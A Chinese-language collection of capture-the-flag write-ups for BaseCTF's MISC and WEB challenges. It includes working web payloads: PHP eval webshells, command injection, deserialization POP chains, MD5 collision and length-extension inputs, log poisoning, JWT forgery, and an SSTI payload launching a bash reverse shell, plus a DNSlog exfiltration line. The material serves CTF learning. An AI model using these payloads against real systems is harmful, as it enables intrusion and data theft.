MISC [Week1] Base 解密base64即可
[Week1] 捂住X只耳 音频分离成左右声道后,将其中一个声道反相,然后再次合并两个声道,听到摩斯密码 FOLLOW YOUR HEART 套上flag头即可
[Week1] 你也喜欢圣物吗 lsb最低位拿到key 解开zip后又有一个伪加密的,改09为00即可,txt底部解base64得到flag
[Week1] 人生苦短,我用Python 考查对python数组的熟悉,得到的py是可以运行的,一步一步检查即可 1. 总长38字符 2. 开头为BaseCTF{ 3. Mp在第11,12位(flag.find(‘Mp’) != 10指的是M应该在flag[10]也就是第11位) 4. 末尾为3x} 5. 末尾为} 6. 总共有4个_ 7. 以下划线为分割字符长度为:14_2_6_4_8 8. 12-32(不包括32),每隔4个取一个为lsT_n(12 16 20 24 28) 9. 以emoji猫为分割的前9位为BASECTF{S(此时s还不确定大小写) 10. flag[-11]的5次方是1024(倒数第11位为4) 11. flag[-7:-3]倒数第七到倒数第四分别为解密base64为0mPl 12. flag[::-7]表示从后往前每隔7个取一位,所以先hex解密后逆向s1srC} }为倒数第一位,然后每隔七位再取 13. flag[12::11]从第13位开始,隔11为取一位,l r(第13和第24位为l r) 14. 第21到第26位为ascii解密t3r_Th 此时flag为BaseCTF{s1Mpl*_*s_**Tt3r_Th4n_C0mPl3x} 15. flag[17:20]中的三个字符的加权和等于41378751114180610_Be
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from itertools import producttarget_value = 41378751114180610 base = 20240815 def calculate_sum (flag_substring ): return sum (ord (c) * base ** idx for idx, c in enumerate (flag_substring)) for chars in product(range (32 , 127 ), repeat=3 ): flag_substring = '' .join(chr (c) for c in chars) if calculate_sum(flag_substring) == target_value: print (f"Found matching flag substring: {flag_substring} " ) break 16. flag[0 ]为字母为已知的B[8 ]小写确定第九位s为小写[13 ]为数字第十四位为0 -9 17. 将[13 ]的字符3 为替换为bro确定第十四位为3 ,比较[13 ][15 ]是否为bro 1 确定第十六位为1 18. 用于哈希确认,不用也行
[Week1] 正着看还是反着看呢? 拿到了一个十六进制数据逆序的jpg图片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def reverse_hex_and_save_to_file (hex_string, file_name ): hex_bytes = hex_string.split() reversed_bytes = hex_bytes[::-1 ] reversed_hex_string = '' .join(reversed_bytes) byte_data = bytes .fromhex(reversed_hex_string) with open (file_name, 'wb' ) as file: file.write(byte_data) input_hex = ''' xxxxx ''' output_file = "xxx" reverse_hex_and_save_to_file(input_hex, output_file)
恢复后binwalk得到flag.txt
[Week1] 海上遇到了鲨鱼 wireshark打开后直接到导出对象导出flag.php逆序后得到flag
[Week1] 根本进不去啊! 悄悄告诉你: flag 在 flag.basectf.fun 进不去!怎么想都进不去吧? 访问不了就查询下该域名的DNS有没有文字记录信息
[Week1] 倒计时?海报!
一张图差不多得了( 赛事群相册的每一张图都用stegsolve查看不同颜色通道拿到flag内容合并即可
[Week2] ez_crypto 把字符串大小写替换后解密base64得到flag
1 2 3 4 5 6 7 8 9 10 11 import base64def decode (s ): swapped = s.swapcase() decoded = base64.b64decode(swapped) return decoded.decode('utf-8' ) if __name__ == "__main__" : text = "xxxxxxxxx" result = decode(text) print (result)
[Week2] 前辈什么的最喜欢了 拿到base64URL加密的文本,直接放浏览器加载不出来,删掉前缀保留base64字符串,解密后保存为图片,修改宽高后得到flag
[Week2] 黑丝上的flag stegsolve打开在alpha plane 1处拿到flag
[Week2] 海上又遇了鲨鱼 导出对象FTP-DATA下载flag.zip 在tcp.stream eq 16 拿到密码
[Week2] 二维码1-街头小广告 有纠错,直接扫码可以看到url处get的内容即为flag
[Week2] Base?!
hS5VZPaBjN4IU6G2VFqZqNG-tPrJm64NgMKQuEa3nNIBIFbh0MLBZEpF4LqZn 9LpBjLoRjPqEV6Lo+ question response Base64? X Base32? X
XXdecode得到flag
[Week2] 哇!珍德食泥鸭 binwalk看到一堆文件,提取出来发现是word文档,改gif后缀为docx,全选+明显强调后在底部找到flag
[Week2] 反方向的雪
低头看雪? 压缩包密码为6位
jpg图片底部发现反向的zip数据,用[Week1] 正着看还是反着看呢?
的脚本逆序后保存为zip 根据描述说6位密码,爆破出密码为123456,打开全选看到空白根据题目使用SNOW解密 密钥为n0secr3t
[Week2] Aura 酱的旅行日记
本题做操作演示,其他社工题不再写wp
百度识图后得到关键词成都自然博物馆
百度地图搜索后得到位置BaseCTF{四川省成都市成华区成华大道十里店路88号}
[Week3] 纯鹿人 word打开全选,选择明显强调主题,在图片后面有base64解密得到key:ikunikun 这张图片里面有zip用binwalk分离出来后输入密码得到flag
[Week3] broken.mp4 https://github.com/anthwlock/untrunc 修复mp4后得到flag
WEB [Week1] A Dark Room 源码处拿到flag
[Week1] upload 先传png一句话然后bp抓包修改后缀即可,flag在/flag
[Week1] md5绕过欸 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ]) && isset ($_GET ['name2' ]) && isset ($_POST ['password2' ]) ){ $name = $_GET ['name' ]; $name2 = $_GET ['name2' ]; $password = $_POST ['password' ]; $password2 = $_POST ['password2' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ if ($name2 !== $password2 && md5 ($name2 ) === md5 ($password2 )){ echo $flag ; } else { echo "再看看啊,马上绕过嘞!" ; } } else { echo "错啦错啦" ; } } else { echo '没看到参数呐' ; }
数组绕过md5即可payload: GET:name[]=1&name2[]=1
POST:password[]=2&password2[]=2
[Week1] 喵喵喵´•ﻌ•` 1 2 3 4 5 6 <?php highlight_file (__FILE__ );error_reporting (0 );$a = $_GET ['DT' ];eval ($a );?>
命令执行paylaod: ?DT=system('tac /f*');
[Week1] HTTP 是什么呀 1 2 3 4 5 6 7 GET:basectf=we1c%2500me POST:Base=fl%40g User-Agent : BaseReferer : Basex-forwarded-for : localhostcookie : c00k13=i can't eat it
[Week1] Aura 酱的礼物 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file(__FILE__); // Aura 酱,欢迎回家~ // 这里有一份礼物,请你签收一下哟~ $pen = $_POST['pen' ]; if (file_get_contents($pen) !== 'Aura' ){ die('这是 Aura 的礼物,你不是 Aura!' ); } // 礼物收到啦,接下来要去博客里面写下感想哦~ $challenge = $_POST['challenge' ]; if (strpos($challenge, 'http://jasmineaura.github.io' ) !== 0 ){ die('这不是 Aura 的博客!' ); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, '已经收到Kengwang的礼物啦' ) === false){ die('请去博客里面写下感想哦~' ); } // 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~ $gift = $_POST['gift' ]; include($gift);
payload:pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io.[自己的域名]/&gift=php://filter/convert.base64-encode/resource=flag.php
DNS绑定jasmineaura.github.io.example.com这样一个n级域名到自己公网ip,然后搭一个有”已经收到Kengwang的礼物啦”内容的网页,保证file_get_contents能读到即可
官方wp:@127.0.0.1可读取靶机网页内容
[Week2] 你听不到我的声音 1 2 3 <?php highlight_file (__FILE__ );shell_exec ($_POST ['cmd' ]);
shell_exec无回显,可利用管道符将命令输出结果定向到新文件中cmd=ls / >1.txt
cmd=cat /f* >1.txt
查看当前目录下的1.txt得到flag
也可以DNSlog外带curl `cat /f*`.[域名]
[Week2] 一起吃豆豆 查看index.js找游戏结束的代码,解密base64得到flag
[Week2] ez_ser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php highlight_file(__FILE__); error_reporting(0); class re{ public $chu0; public function __toString(){ if(!isset($this->chu0)){ return "I can not believes!"; } $this->chu0->$nononono; } } class web { public $kw; public $dt; public function __wakeup() { echo "lalalla".$this->kw; } public function __destruct() { echo "ALL Done!"; } } class pwn { public $dusk; public $over; public function __get($name) { if($this->dusk != "gods"){ echo "什么,你竟敢不认可?"; } $this->over->getflag(); } } class Misc { public $nothing; public $flag; public function getflag() { eval("system('cat /flag');"); } } class Crypto { public function __wakeup() { echo "happy happy happy!"; } public function getflag() { echo "you are over!"; } } $ser = $_GET['ser']; unserialize($ser); ?>
函数调用链:web类的__wakeup() -> __toString() -> __get() -> Misc类的getflag()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class re{ public $chu0; } class web { public $kw; public $dt; } class pwn { public $dusk; public $over; } class Misc { public $nothing; public $flag; } $web = new web(); $re = new re(); $pwn = new pwn(); $Misc= new Misc(); $web->kw = $re; $re ->chu0 = $pwn; $pwn->dusk = "gods"; $pwn->over = $Misc; echo serialize($web); ?>
payload: ?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}
[Week2] RCEisamazingwithspace 过滤空格 ${IFS}代替即可payload: cmd=tac${IFS}/flag
[Week2] Happy Birthday 文件md5碰撞https://www.win.tue.nl/hashclash 题目要求上传两个不一样内容的pdf但是md5值相同,用工具生成上传后得到flag
[Week2] Really EZ POP 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class Sink { private $cmd = 'echo 123;'; public function __toString() { eval($this->cmd); } } class Shark { private $word = 'Hello, World!'; public function __invoke() { echo 'Shark says:' . $this->word; } } class Sea { public $animal; public function __get($name) { $sea_ani = $this->animal; echo 'In a deep deep sea, there is a ' . $sea_ani(); } } class Nature { public $sea; public function __destruct() { echo $this->sea->see; } } if ($_POST['nature']) { $nature = unserialize($_POST['nature']); }
函数调用顺序: __destrut() -> __get() -> __invoke()-> __tostring() -> eval()
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Sink { public $cmd; } class Shark { public $word; } class Sea { public $animal; } class Nature { public $sea; } $Nature = new Nature(); $Sea = new Sea(); $Shark = new Shark(); $Sink = new Sink(); $Nature->sea=$Sea; $Sea->animal=$Shark; $Shark->word=$Sink; $Sink->cmd="echo `tac /f*`;"; echo serialize($Nature);
请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性
根据题目提示所以给cmd和word加上对应格式 public 无标记,长度不变 protected 变量名前加\00*\00
,\00算1个长度,总长+3 private 添加类名,且两个名前都添加标记\00
,长度:类名+变量名+2
payload: nature=O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:15:"echo ``tac /f*``;";}}}}
[Week2] 数学大师 脚本题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsimport reimport timedef get (txt ): m = re.search(r'(\d+)\s*([+\-*/÷×])\s*(\d+)' , txt) n1, op, n2 = m.groups() return int (n1), op, int (n2) def calc (n1, op, n2 ): if op == '+' : return n1 + n2 elif op == '-' : return n1 - n2 elif op == '×' : return n1 * n2 elif op == '÷' : return n1 // n2 def main (): url = 'xxx' s = requests.Session() r = s.get(url) print (r.text) while True : if 'BaseCTF' in r.text: break n1, op, n2 = get(r.text) res = calc(n1, op, n2) print (f'Result: {res} ' ) data = {'answer' : res} r = s.post(url, data=data) print (r.text) time.sleep(1 ) if __name__ == "__main__" : main()
[Week2] 所以你说你懂 MD5? 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start(); highlight_file(__FILE__); // 所以你说你懂 MD5 了? $apple = $_POST['apple']; $banana = $_POST['banana']; if (!($apple !== $banana && md5($apple) === md5($banana))) { die('加强难度就不会了?'); } // 什么? 你绕过去了? // 加大剂量! // 我要让他成为 string $apple = (string)$_POST['appple']; $banana = (string)$_POST['bananana']; if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) { die('难吗?不难!'); } // 你还是绕过去了? // 哦哦哦, 我少了一个等于号 $apple = (string)$_POST['apppple']; $banana = (string)$_POST['banananana']; if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) { die('嘻嘻, 不会了? 没看直播回放?'); } // 你以为这就结束了 if (!isset($_SESSION['random'])) { $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)); } // 你想看到 random 的值吗? // 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧 $random = $_SESSION['random']; echo md5($random); echo '<br />'; $name = $_POST['name'] ?? 'user'; // check if name ends with 'admin' if (substr($name, -5) !== 'admin') { die('不是管理员也来凑热闹?'); } $md5 = $_POST['md5']; if (md5($random . $name) !== $md5) { die('伪造? NO NO NO!'); } // 认输了, 看样子你真的很懂 MD5 // 那 flag 就给你吧 echo "看样子你真的很懂 MD5"; echo file_get_contents('/flag');
分了几个阶段
数组绕过强比较
弱比较,利用两个字符串md5后为0e弱类型为0绕过
md5碰撞,可利用fastcoll生成,这里在网上找了一个
哈希长度拓展攻击 random_bytes(16) 生成 16 字节的随机二进制数据。 bin2hex() 将这些二进制数据转换为等效的十六进制字符串,每个字节转换为两个字符。 因此: bin2hex(random_bytes(16)) 会生成 32 个字符的十六进制字符串(16 字节 × 2)。 代码中一共调用了三次 bin2hex(random_bytes(16)) 总长度为:32 字符 × 3 = 96 字符。payload: 1 apple[]=1&banana[]=2&appple=s1885207154a&bananana=s1836677006a&apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=b38c445bdd03137adda73ebc0a4de191
[Week3] 复读机 ssti,有很多过滤,先fuzz一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsimport stringimport timeurl = "xx" printable_chars = string.printable a = "" for char in printable_chars: flag_value = f"BaseCTF{{%{char} %}}" payload = {'flag' : flag_value} response = requests.post(url, data=payload) time.sleep(0.1 ) if "你想干嘛? 杂鱼~ 杂鱼~" in response.text: a += char print (a)
除此还有关键字过滤,考虑使用fenjing来构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from fenjing import exec_cmd_payload, config_payload import logging logging.basicConfig(level = logging.INFO) def waf(s: str): blacklist = [ "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum","builtins","popen", '"', "__", ".", "+", "{{","*","/","\\",":", ] return all(word not in s for word in blacklist) if __name__ == "__main__": shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"") # config_payload = config_payload(waf) print(f"{shell_payload=}")
反弹shell后cat /flag即可
[Week3] 滤个不停 文件包含,过滤很多,考虑包含日志User-Agent:<?php eval($_GET[1]);?>
POST:Datch=/var/log/nginx/access.log&incompetent=HelloWorld
GET:?1=system('tac /flag');
[Week3] 玩原神玩的 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );error_reporting (0 );include 'flag.php' ;if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); } else { die ("错了!就你还想玩原神?❌❌❌" ); } function ys_open ($tip ) { if ($tip != "我要玩原神" ) { die ("我不管,我要玩原神!😭😭😭" ); } dumpFlag (); } function dumpFlag ( ) { if (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ]) != 2 ) { die ("可恶的QQ人!😡😡😡" ); } $a = $_POST ['m' ][0 ]; $b = $_POST ['m' ][1 ]; if (empty ($a ) || empty ($b ) || $a != "100%" || $b != "love100%" . md5 ($a )) { die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } include 'flag.php' ; $flag [] = array (); for ($ii = 0 ;$ii < sizeof ($array );$ii ++) { $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } echo json_encode ($flag ); }
首先要爆破下长度,下面是爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $url = 'xxx' ;$success_msg = "</code>我不管,我要玩原神!" ; for ($length = 1 ; $length <= 100 ; $length ++) { $len_param = array_fill (0 , $length , 9 ); $post_data = http_build_query (array ( 'len' => $len_param , )); $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_POST, 1 ); curl_setopt ($ch , CURLOPT_POSTFIELDS, $post_data ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); $response = curl_exec ($ch ); if (strpos ($response , $success_msg ) !== false ) { echo "Success with length: $length \n" ; echo $response ; break ; } curl_close ($ch ); } ?>
后续按要求做即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $url = 'xxx'; // 替换为实际的 URL $success_msg = "json"; // 已知的正确长度 $correct_length = 45; $len_param = array_fill(0, $correct_length, 9); $m_param = array( '100%', 'love100%' . md5('100%') ); $tip = '我要玩原神'; $post_data = http_build_query(array( 'len' => $len_param, 'm' => $m_param )); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url . '?tip=' . urlencode($tip)); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); echo curl_exec($ch); curl_close($ch); ?>
解密md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $encrypted_flag_json = '["md5_hash1", "md5_hash2", ...]'; $encrypted_flag = json_decode($encrypted_flag_json, true); $length = count($encrypted_flag); function find_original_char($md5_hash, $index) { for ($char = 32; $char <= 126; $char++) { if (md5($char ^ $index) === $md5_hash) { return chr($char); } } return null; } $original_flag = ''; for ($i = 0; $i < $length; $i++) { $original_char = find_original_char($encrypted_flag[$i], $i); $original_flag .= $original_char; } echo $original_flag; ?>
[Week3] ez_php_jail 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );include ("hint.html" );$Jail = $_GET ['Jail_by.Happy' ];if ($Jail == null ) die ("Do You Like My Jail?" );function Like_Jail ($var ) { if (preg_match ('/(`|\$|a|c|s|require|include)/i' , $var )) { return false ; } return true ; } if (Like_Jail ($Jail )) { eval ($Jail ); echo "Yes! you escaped from the jail! LOL!" ; } else { echo "You will Jail in your life!" ; } echo "\n" ;?>
下划线用[
绕过,找到姿势https://github.com/NotSurprised/RingZer0-CTF-Writeup/blob/master/JailEscaping/PHP%20Jail/PHP%20Jail%203/PHP%20Jail%203.md payload: ?Jail[by.Happy=highlight_file(glob("/f*")[0]);
[Week4] flag直接读取不就行了? 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );?>
payload: GET:?K=DirectoryIterator&W=/secret
POST:J=SplFileObject&H=/secret/f11444g.php
[Week4] 圣钥之战1.0 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def is_json (data ): try : json.loads(data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['GET' , 'POST' ] ) def hello_world (): return open ('/static/index.html' , encoding="utf-8" ).read() @app.route('/read' , methods=['GET' , 'POST' ] ) def Read (): file = open (__file__, encoding="utf-8" ).read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} " @app.route('/pollute' , methods=['GET' , 'POST' ] ) def Pollution (): if request.is_json: merge(json.loads(request.data),instance) else : return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 )
python原型链污染,merge(json.loads(request.data),instance)
意味着可以向路由/pollute post传入json数据即可污染属性,并且在/read下会执行file = open(__file__, encoding="utf-8").read()
因此我们修改__file__的值为/flag即可读到flag文件payload数据包:
1 2 3 4 5 6 7 8 9 10 POST /pollute Content-Type : application/json{ "__init__": { "__globals__" : { "__file__": "/flag" } } }
再次访问/read拿到flag
[Week4] No JWT 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, request, jsonifyimport jwtimport datetimeimport osimport randomimport stringapp = Flask(__name__) app.secret_key = '' .join(random.choices(string.ascii_letters + string.digits, k=16 )) @app.route('/login' , methods=['POST' ] ) def login (): data = request.json username = data.get('username' ) password = data.get('password' ) token = jwt.encode({ 'sub' : username, 'role' : 'user' , 'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=1 ) }, app.secret_key, algorithm='HS256' ) return jsonify({'token' : token}), 200 @app.route('/flag' , methods=['GET' ] ) def flag (): token = request.headers.get('Authorization' ) if token: try : decoded = jwt.decode(token.split(" " )[1 ], options={"verify_signature" : False , "verify_exp" : False }) if decoded.get('role' ) == 'admin' : with open ('/flag' , 'r' ) as f: flag_content = f.read() return jsonify({'flag' : flag_content}), 200 else : return jsonify({'message' : 'Access denied: admin only' }), 403 except FileNotFoundError: return jsonify({'message' : 'Flag file not found' }), 404 except jwt.ExpiredSignatureError: return jsonify({'message' : 'Token has expired' }), 401 except jwt.InvalidTokenError: return jsonify({'message' : 'Invalid token' }), 401 return jsonify({'message' : 'Token is missing' }), 401 if __name__ == '__main__' : app.run(debug=True )
无密钥HS256 JWT 登录拿到token后直接在jwt.io改role为admin再发包到@/flag即可拿到flag
[Fin] 1z_php 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ){ for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } } echo "只有真正的hacker才能拿到flag!" ."<br>" ; if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); } $a =$_GET ['a' ]; $b =$_GET ['b' ]; $c =$_GET ['c' ]; if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c (); } else { die ("114514到底是啥意思嘞?。?" ); } $shell =$_POST ['shell' ];eval ($shell );?>
第一个用八进制绕过,第二个正则回溯绕过,第三个由于要求要$b要php开头所以用SplFileObject+fgets+伪协议读出flag
1 2 3 4 5 6 7 import requestsdata={"try" :"a" *1000001 +"hacker" } url="http://challenge.basectf.fun:38172/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets" res = requests.post(data=data,url=url) print (res.text)
Back to the future 任意目录跳phpinfo(实际没用) /robots.txt提示.git泄露https://github.com/WangYihang/GitHacker githacker --url http://gz.imxbt.cn:20982/.git/ --output-folder result
查看历史git log
回到添加flag的记录git reset --hard 9d85f10e0192ef630e10d7f876a117db41c30417
这时当前目录生成了flag.txt得到flag